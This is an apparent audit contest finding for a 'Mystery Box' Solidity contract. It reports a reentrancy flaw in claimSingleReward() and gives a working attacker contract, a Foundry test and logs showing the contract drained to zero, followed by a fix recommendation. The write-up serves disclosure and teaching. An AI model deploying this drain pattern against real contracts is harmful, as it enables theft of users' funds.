Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Re-entrancy in the claimSingleReward() function

Summary

The function claimSingleReward() Does not follow C:E:I(check,effects,interaction) and is thus supsectiple to a reentrancy attack.

Vulnerability Details

In the code given below deletion of rewards owned is done after the money has been sent.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];//updated here ;0
}

POC:

contract rattack{
MysteryBox box;
address owner;
constructor(address victim) payable{
box=MysteryBox(victim);
owner=msg.sender;
}
function preperatory() public{
box.buyBox{value:0.1 ether}();
box.openBox();
}
function attack() public{
box.claimSingleReward(0);
}
function sendToOwner() public {
require(address(this).balance > 0, "No balance to send"); // Ensure there is a balance to send
(bool success, ) = owner.call{value: address(this).balance}(""); // Send the entire balance to the owner
require(success, "Transfer to owner failed"); // Ensure the transfer was successful
}
receive() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
fallback() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
}

The test function is

function test_re_entrancy() public{
vm.deal(user1,1 ether);
vm.prank(user1);
vm.warp(279);//to give my contract a chance of getting a reward above zero(weak randomness in the function ;0000)
console.log(address(mysteryBox).balance);
rattack attack=new rattack{value:1 ether}(address(mysteryBox));
attack.preperatory();
attack.attack();
vm.assertEq(0,address(mysteryBox).balance);
}

OUTPUT

[PASS] test_re_entrancy() (gas: 312371)
Logs:
Reward Pool Length: 4
The balance of mysteryBox is 100000000000000000
The balance of attack contract is 100000000000000000
The balance of attack contract is 200000000000000000
The balance of mysteryBox is 0

Impact

All of the money can be taken out of the contract

Tools Used

Foundry 0.2.0

Recommendations

Follow check effects interaction when possible

Updates

Appeal created

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.